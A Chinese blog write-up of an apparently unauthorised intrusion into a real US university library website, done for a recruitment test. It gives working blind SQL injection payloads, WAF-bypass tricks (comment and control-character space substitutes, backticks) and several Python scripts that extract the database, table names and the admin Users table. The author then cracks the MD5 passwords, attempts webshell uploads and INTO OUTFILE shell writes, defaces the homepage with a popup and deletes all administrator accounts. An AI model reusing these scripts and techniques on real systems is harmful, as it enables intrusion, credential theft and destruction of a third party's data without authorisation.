记渗透某境外网站

  三叶草三面,要求渗透任意境外网站,第一次渗透网站,很多东西也是第一次接触,python也是看了师傅的代码几小时速成的,拿到了管理员后台密码,可惜的是没有拿到Webshell。

  一个美国大学图书馆的网站,apache+mysql,在GHDB发现这个站点存在inc文件泄漏,包含了部分网页的源代码


  在login.inc中发现了后台登录的网址,现在需要找到一个突破点进入后台。

  拿出AWVS扫描器扫描一通,发现存在SQL注入漏洞,而且居然还存在phpinfo界面

  扫描器给出的payload:

BucknellGettysburgMeetup” AND 321=6 AND “000X801”=”000X801

  用payload试了试,确实存在漏洞,尝试了一下自己修改payload,换成了最常见的1=1,意外的发现加了Mod_Security防火墙,看来接下来有点困难了。

  根据payload的格式,发现AND后均为两个数或者三个数相乘的形式,构造payload如下:

BucknellGettysburgMeetup” AND 1*length(database())=13 AND “000X801”=”000X801

  爆出数据库名长度为13,果断编写脚本爆数据库名,爆出数据库名为:aclcp_Library
  脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import urllib
parameter='BucknellGettysburgMeetup\" AND 1*ascii(substr(database(),%d,1))=%d AND \"000X801\"=\"000X801'
database=[None]*1
database[0]=''
i = 0
j = 1
while i < 13:
assi = 48
while assi<123:
q = urllib.quote(parameter % (j,assi))
r = requests.get("http://site/?%s" % q)
if(len(r.text) > 3000):
database[0] = database[0]+chr(assi)
print('%c' % chr(assi))
break
else:
assi=assi+1
j = j + 1
i = i + 1
print('database_name is %s' % database[0])

  在爆表的数量的时候,用常用的select语句显示被WAF拦截

  反复删减语句发现并没有过滤select,information_schema等内容,赶紧去网上查找相关bypass的资料,但是不清楚WAF版本号,没查到什么有用的信息,尝试了一下用/**/代替空格,竟然神奇般地绕过了。
  尝试了%0a,%0b,%0c等代替空格,发现都成功了,并且发现WAF过滤的是from informtion_schema.tables这个语句,据此估计WAF应该只是过滤了常见的注入语句,而且并没有对可以绕过的字符进行检测,也可以解释最开始将payload中换成1=1为什么会被WAF拦截了。
  payload:

BucknellGettysburgMeetup” AND 1(select/**/count()//from//information_schema.tables//where//table_schema=database())=12 AND “000X801”=”000X801

  爆出有11个表,写脚本爆出表名

  脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import urllib
parameter1='BucknellGettysburgMeetup\" AND 1*(select char_length(table_name) from/**/information_schema.tables where table_schema=database() limit %d,1)=%d AND \"000X801\"=\"000X801'
parameter2='BucknellGettysburgMeetup\" AND 1*(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/%d),%d,1)))=%d AND \"000X801\"=\"000X801'
i = 0
tables=[None]*11
for d in range(11):
tables[d]=''
for i in range(6,11):
length = 1
j = 1
while length < 30:
q1 = urllib.quote(parameter1 % (i,length))
r1 = requests.get("http://site/?%s" % q1)
if(len(r1.text) > 3000):
print('the %d table_length is %d' % (i+1,length))
break
else:
length = length + 1
while j <= length:
ascii = 48
while ascii < 123:
q2 = urllib.quote(parameter2 % (i,j,ascii))
r2 = requests.get("http://site/?%s" % q2)
if(len(r2.text) > 3000):
print('%c' % chr(ascii)),
tables[i] = tables[i] + chr(ascii)
j = j + 1
break
else:
ascii = ascii + 1
print('table %s found' % tables[i])

  继续爆Users表,发现有9个字段,已经能看到Username和Password字段了

  脚本如下,parameter1爆表中字段数目,parameter2爆字段的字符长度,parameter3爆字段的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import urllib
parameter1='BucknellGettysburgMeetup\" AND 1*(select count(column_name) from/**/information_schema.columns where table_schema=database() and table_name=\'Users\')=%d AND \"000X801\"=\"000X801'
parameter2='BucknellGettysburgMeetup\" AND 1*(select char_length(column_name) from/**/information_schema.columns where table_schema=database() and table_name=\'Users\' limit %d,1)=%d AND \"000X801\"=\"000X801'
parameter3='BucknellGettysburgMeetup\" AND 1*ascii(substr((select column_name from/**/information_schema.columns where table_schema=database() and table_name=\'Users\' limit %d,1),%d,1))=%d AND \"000X801\"=\"000X801'
colu_num = 0
while True:
q1 = urllib.quote(parameter1 % colu_num)
r1 = requests.get("http://site/?%s" % q1)
if(len(r1.text) > 3000):
break
else:
colu_num = colu_num + 1
print('%d columns found' % colu_num)
tables=[None]*colu_num
for d in range(colu_num):
tables[d]=''
for i in range(6,colu_num):
length = 1
j = 1
while length < 30:
q2 = urllib.quote(parameter2 % (i,length))
r2 = requests.get("http://site/?%s" % q2)
if(len(r2.text) > 3000):
print('the %d column is %d' % (i+1,length))
break
else:
length = length + 1
while j <= length:
ascii = 48
while ascii < 123:
q3 = urllib.quote(parameter3 % (i,j,ascii))
r3 = requests.get("http://site/?%s" % q3)
if(len(r3.text) > 3000):
print('%c' % chr(ascii)),
tables[i] = tables[i] + chr(ascii)
j = j + 1
break
else:
ascii = ascii + 1
print('\ncolumn %s found' % tables[i])

  接下来爆Username和Password的内容,行数和内容字符长度的查询和前面一样,/**/注释绕过。但是在查Username内容的时候发现了问题,直接select Username…..会被WAF拦截,思考如何才能达到和这个语句同样的效果,之前接触过反引号,试了下用反引号包含Username字段,绕过WAF,用()包含同样也可以payload。
  查询内容payload如下:

BucknellGettysburgMeetup\” AND 1*ascii(substr((select `Username` from Users limit 0,1),1,1))>0 AND \”000X801\”=\”000X801

  查询到有三个用户,同理可以查询到密码。

  脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import urllib
parameter1='BucknellGettysburgMeetup\" AND 1*(select count(Webmaster) from Users)=%d AND \"000X801\"=\"000X801'
parameter2='BucknellGettysburgMeetup\" AND 1*(select char_length(Webmaster) from Users limit %d,1)=%d AND \"000X801\"=\"000X801'
parameter3='BucknellGettysburgMeetup\" AND 1*ascii(substr((select `Webmaster` from Users limit %d,1),%d,1))=%d AND \"000X801\"=\"000X801'
colu_num = 0
while True:
q1 = urllib.quote(parameter1 % colu_num)
r1 = requests.get("http://site/?%s" % q1)
if(len(r1.text) > 3000):
break
else:
colu_num = colu_num + 1
print('%d row found' % colu_num)
tables=[None]*colu_num
for d in range(colu_num):
tables[d]=''
for i in range(colu_num):
length = 1
j = 1
while length < 35:
q2 = urllib.quote(parameter2 % (i,length))
r2 = requests.get("http://site/?%s" % q2)
if(len(r2.text) > 3000):
print('the no %d row length %d' % (i+1,length))
break
else:
length = length + 1
while j <= length:
ascii = 48
while ascii < 123:
q3 = urllib.quote(parameter3 % (i,j,ascii))
r3 = requests.get("http://site/?%s" % q3)
if(len(r3.text) > 3000):
print('%c' % chr(ascii)),
tables[i] = tables[i] + chr(ascii)
j = j + 1
break
else:
ascii = ascii + 1
print('\nrow %s found' % tables[i])

  Password为32位的md5,好在运气还是比较好,试了很多个解密网站后,三个密码都解出来了。
  登录后台,发现并没有太多可以利用的功能,后台可以增加管理员,控制管理员权限,修改文章,新建文章等功能,发现了可以上传文件的地方,马上上传了一张图片试了试,发现可以访问到图片,于是在图片后面加上了一句话木马,并修改后缀为.php.jpg,上传成功,图片没有被正常读取。


  右键图片,获取连接,连接后发现412错误。用Burp拦截http请求并尝试修改之后没有成功。

  然后又尝试了能否通过文件包含包含上传的图片,没有在配置文件找到服务器是怎么根据参数包含文件的,又试了各种绕过姿势,都没有成功包含文件,估计是采用了白名单设置。
  可以修改文章,但是点击修改文章会显示报错。找到一个修改目录html代码的地方,尝试写入一句话木马进去,但是报错了。又试了一下添加一个正常的目录,也报错了,感觉整个后台的功能都有点假。

  唯一在编辑文章里面找到一个XSS漏洞,可以修改onload,已经拿到了管理员密码,感觉没啥用。

  在管理员权限界面找到存在WYSIWYG富文本编辑器,现在就尝试分析泄漏的源码尝试利用这个编辑器。

  找到了很多目录

  在编辑模块下找到了编辑器使用的位置,但是进去后报错,显示Creating object from empty value,网站管理员应该已经禁用了这个编辑器。
  最后从sql注入看看能否写入shell,查询security_file_priv这个变量查询结果为空,至少可以判断写入路径不是确定的。

  尝试直接写入shell试试,遗憾地发现WAF过滤了outfile和dumpfile,写入shell失败。
  很气,没有拿到Webshell,在首页弹窗提醒管理员修改密码,然后把管理员帐号全都给删了(逃